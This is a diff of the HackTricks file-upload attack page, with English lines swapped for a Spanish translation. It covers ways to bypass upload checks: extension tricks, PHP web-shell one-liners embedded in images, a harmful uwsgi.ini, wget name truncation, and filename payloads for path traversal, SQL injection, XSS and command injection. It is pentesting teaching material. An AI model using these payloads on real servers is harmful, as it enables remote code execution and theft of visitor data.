<summary>Apoya a HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## File Upload General Methodology
|
## Metodología General de Carga de Archivos
|
||||||
|
|
||||||
Other useful extensions:
|
Otras extensiones útiles:
|
||||||
|
|
||||||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||||
* **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
* **Trabajando en PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||||
|
@ -34,13 +34,13 @@ Other useful extensions:
|
||||||
* **Perl**: _.pl, .cgi_
|
* **Perl**: _.pl, .cgi_
|
||||||
* **Erlang Yaws Web Server**: _.yaws_
|
* **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Bypass file extensions checks
|
### Bypass de comprobaciones de extensiones de archivos
|
||||||
|
|
||||||
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
|
1. Si aplican, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.Php5_
|
* _file.png.Php5_
|
||||||
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
|
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
|
||||||
* _file.php%20_
|
* _file.php%20_
|
||||||
* _file.php%0a_
|
* _file.php%0a_
|
||||||
* _file.php%00_
|
* _file.php%00_
|
||||||
|
@ -50,7 +50,7 @@ Other useful extensions:
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
|
4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -59,75 +59,75 @@ Other useful extensions:
|
||||||
* _file.php%0a.png_
|
* _file.php%0a.png_
|
||||||
* _file.php%0d%0a.png_
|
* _file.php%0d%0a.png_
|
||||||
* _file.phpJunk123png_
|
* _file.phpJunk123png_
|
||||||
5. Add **another layer of extensions** to the previous check:
|
5. Agrega **otra capa de extensiones** a la verificación anterior:
|
||||||
* _file.png.jpg.php_
|
* _file.png.jpg.php_
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
|
6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
|
||||||
* _ex: file.php.png_
|
* _ej: file.php.png_
|
||||||
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
|
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
|
||||||
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
|
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux máximo 255 bytes
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
|
||||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
# Make the payload
|
# Haz la carga
|
||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
|
||||||
|
|
||||||
* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
* Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
* Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` or you could also **introduce the payload directly** in an image:\
|
`\` o también podrías **introducir la carga directamente** en una imagen:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
* Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar la **técnica del chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
* The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you podría usar el **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
* La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar la **técnica del chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
* Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
* Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar la **técnica del chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Other Tricks to check
|
### Otros trucos a verificar
|
||||||
|
|
||||||
* Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
* Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||||
* Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
* Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
|
||||||
* **Possible Information disclosure**:
|
* **Posible divulgación de información**:
|
||||||
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
|
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||||
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
|
3. Subiendo un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
|
||||||
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
|
4. Sube un archivo que puede no ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
|
||||||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
|
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
|
||||||
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
|
||||||
* Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
* Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea accidentalmente abierto por la víctima.
|
||||||
|
|
||||||
### Special extension tricks
|
### Trucos de extensiones especiales
|
||||||
|
|
||||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
Si estás intentando subir archivos a un **servidor PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...)
|
||||||
|
|
||||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
|
||||||
|
|
||||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
|
||||||
|
|
||||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
|
@ -152,7 +152,7 @@ Es crucial entender la naturaleza laxa del análisis del archivo de configuraci
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
En algunas ocasiones, puede encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida.**\
|
En algunas ocasiones, puede encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida.**\
|
||||||
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
La **longitud** máxima de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (ya que en este ejemplo **".gif"** es una **extensión** **válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
Nota que **otra opción** que podrías estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
||||||
|
|
||||||
## Herramientas
|
## Herramientas
|
||||||
|
|
||||||
|
@ -183,23 +183,23 @@ Note que **otra opción** que puede estar pensando para eludir esta verificació
|
||||||
|
|
||||||
## De la carga de archivos a otras vulnerabilidades
|
## De la carga de archivos a otras vulnerabilidades
|
||||||
|
|
||||||
* Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta**
|
* Establece **filename** a `../../../tmp/lol.png` y trata de lograr un **traversal de ruta**
|
||||||
* Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL**
|
* Establece **filename** a `sleep(10)-- -.jpg` y podrías ser capaz de lograr una **inyección SQL**
|
||||||
* Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
|
* Establece **filename** a `<svg onload=alert(document.domain)>` para lograr un XSS
|
||||||
* Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
|
* Establece **filename** a `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
|
||||||
* [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
* [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
* **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
* **Carga** de archivo **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
* [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
* [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
* [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Prueba **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
* [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
* [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
* Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
* Si puedes **indicar al servidor web que capture una imagen de una URL**, podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
|
||||||
* [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
* [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar algunos PDF que ejecuten JS arbitrario siguiendo las indicaciones dadas.
|
* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes cargar PDFs, podrías preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
|
||||||
* Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
|
* Carga el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
|
||||||
* Verifique si hay algún **límite de tamaño** al cargar archivos
|
* Verifica si hay algún **límite de tamaño** al cargar archivos
|
||||||
|
|
||||||
Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
